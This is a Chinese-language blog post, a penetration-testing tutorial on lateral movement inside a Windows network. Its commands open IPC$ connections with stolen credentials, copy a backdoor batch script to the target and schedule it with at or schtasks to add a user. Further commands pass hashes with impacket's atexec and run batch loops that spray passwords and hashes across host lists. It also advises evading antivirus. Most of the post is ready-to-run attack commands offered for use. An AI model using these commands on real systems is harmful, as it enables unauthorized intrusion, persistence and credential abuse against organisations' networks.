內網滲透-橫向移動($IPC&at&schtasks)

mrob0t發表於2021-05-15

內網滲透-橫向移動

#建立ipc連線並將後門新增至計劃任務

前置條件:獲取到某域主機許可權->得到明文或者hash,通過資訊收集到的使用者列表當做使用者名稱字典->用得到的密碼明文當做密碼字典

本次移動流程:嘗試建立連線(ipc)->建立計劃任務(at|schtasks)->執行命令,上傳後門

什麼是IPC?

IPC(Internet Process Connection)是共享"命名管道"的資源,它是為了讓程式間通訊而開放的命名管道,可以通過驗證使用者名稱和密碼獲得相應的許可權,在遠端管理計算機和檢視計算機的共享資源時使用。

#建立ipc常見錯誤程式碼

5:拒絕訪問,可能需要提權

52:網路問題

53:埠未開放,未開機,防火牆攔截

67:本地lanmanworkstation服務未啟動,目標刪除了ipc$

1219:提供的憑據和已存在的憑據集衝突,說明已經建立ipc$,需要先刪除

1326:賬號密碼錯誤

1792:目標NetLogon服務未啟動

2242:使用者密碼過期,目標有賬號策略,強制定期更改密碼

#失敗的原因

目標系統不是NT或者以上的作業系統

對方沒有開啟ipc$

139 445埠未開啟或被攔截

輸出命令,賬號密碼錯誤

建立ipc連線利用流程
1.建立ipc連結到目標主機(前提主機開放135 445埠)

工作組環境:

net use \\192.168.xx.xx\ipc$ "password" /user:"administrator"

域內環境:

net use \\192.168.xx.xx\ipc$ "password" /user:xxx.com\"administrator"
2.拷貝要執行的命令指令碼到目標主機
copy \\192.168.xx.xx\c$\1.bat 1.bat
​
copy 1.bat \\192.168.xx.xx\c$

dir \\192.168.x.xx\c$\ #檢視目標主機檔案

 

3.檢視目標時間,建立計劃任務(at,schtasks)定時執行拷貝到的指令碼
net time \\192.168.xx.xx #檢視時間

 

at在windows版本小於2012下使用

at \\192.168.xx.xx 15:32 c:\1.bat   #在15:32執行c盤下的1.bat

 

schtasks 在windows版本大於等於windows2012下使用

shctasks /create /s 192.168.xx.xx /run "system" /tn adduser /scDAILY /tr c:\1.bat /F #建立adduser任務對應批處理指令碼

schtasks  /run /s 192.168.xx.xx /tn adduser /i #執行adduser任務

schtasks /delete /s 192.168.xx.xx /tn adduser /f #刪除adduser任務

 

4.刪除ipc連線
net use \\192.168.xx.xx\ipc$ /delete

net view xx.xx.xx.xx #檢視對方共享

 

#利用atexec-impacket進行明文或hash傳遞

atexec.exe ./administrator:Admin12345@192.168.xx.xx "whoami" #連線本地使用者administrator
​
atexec.exe xxx.com/administrator:Admin12345@192.168.xx.xx "whoami" #連線域使用者administrator
​
atexec.exe -hashes:xxx ./administrator@192.168.xx.xx "whoami" #連線本地使用者administrator並進行hash傳遞執行whoami命令
 

缺點:由於是第三方工具容易被攔截,需要做免殺處理

#批量利用

#bat批處理命令
For /F %%i in (ips.txt) do net use \\%%i\ipc$ "password" /user:administrator
#單個密碼嘗試連線多個主機
​
For /F %%i in(ips.txt) do atexec.exe xxx.com/administrator:password@%%i whoami
#呼叫atexec.exe用單個密碼嘗試連線多個主機
​
For /F %%i in (pass.txt) do atexec.exe xxx.com/administrator:%%i@192.168.xx.xx whoami
##呼叫atexec.exe用多個密碼嘗試連線單個主機
​
For /F %%i in (hash.txt) do atexec.exe -hashes:%%i  xxx.com/administrator@192.168.xx.xx whoami
##呼叫atexec.exe用多個HASH嘗試連線單個主機

 

 



相關文章